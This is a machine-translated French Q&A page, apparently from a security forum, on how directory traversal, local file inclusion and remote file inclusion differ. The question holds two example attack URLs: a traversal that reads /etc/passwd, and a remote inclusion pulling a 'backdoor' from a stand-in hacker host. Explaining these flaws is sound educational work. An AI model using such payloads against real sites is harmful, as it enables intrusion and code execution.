web-dev-qa-db-fra.com

Quelle est la différence entre l'inclusion de fichiers locale (LFI) et l'inclusion de fichiers distante (RFI)?

Basé sur - cette question précédente , il semble que la différence entre le trafiquant de répertoires et l'inclusion de fichiers est la suivante:

Répertoire Traversal

  • Une validation inappropriée de l'entrée de l'utilisateur conduit à Lire l'accès de la ressource de serveur.
  • Exemple: http://www.example.com?file=../../etc/passwd

Inclusion de fichier

  • La validation inappropriée de l'entrée de l'utilisateur conduit à le chargement d'une ressource externe dans le serveur et l'exécution.
  • Exemple: http://www.example.com/vuln_page.php?file=http://www.hacker.com/backdoor

Ce lien , cependant, décrit ces concepts à l'aide des mots Inclusion de fichier local et Inclusion de fichier .

Donc est le premier exemple

  • Répertoire Traversal contre File Inclusion

le même que le deuxième exemple

  • Inclusion de fichier local vs. Inclusion de fichier distant

i.e. LFI/RFI est juste une terminologie différente pour la même chose?

5
Zach Valenta

Votre confusion provient de votre compréhension excessive de la traversée de l'annuaire.

Traversal signifie que l'on peut lire dans un autre répertoire. Pas spécifiquement que l'on puisse lire un fichier.

LFI lit un fichier local, que ce soit dans le répertoire de travail actuel ou en utilisant Traversal, un fichier dans un autre répertoire.

RFI comprend un fichier d'une source externe.

Il est possible d'avoir une vulnérabilité LFI sans qu'il existe une vulnérabilité de trafiquant de répertoire (fichiers locaux dans le contexte actuel). Et, techniquement, il est possible qu'il puisse y avoir une vulnérabilité traversante qui n'entraîne pas une LFI.

4
schroeder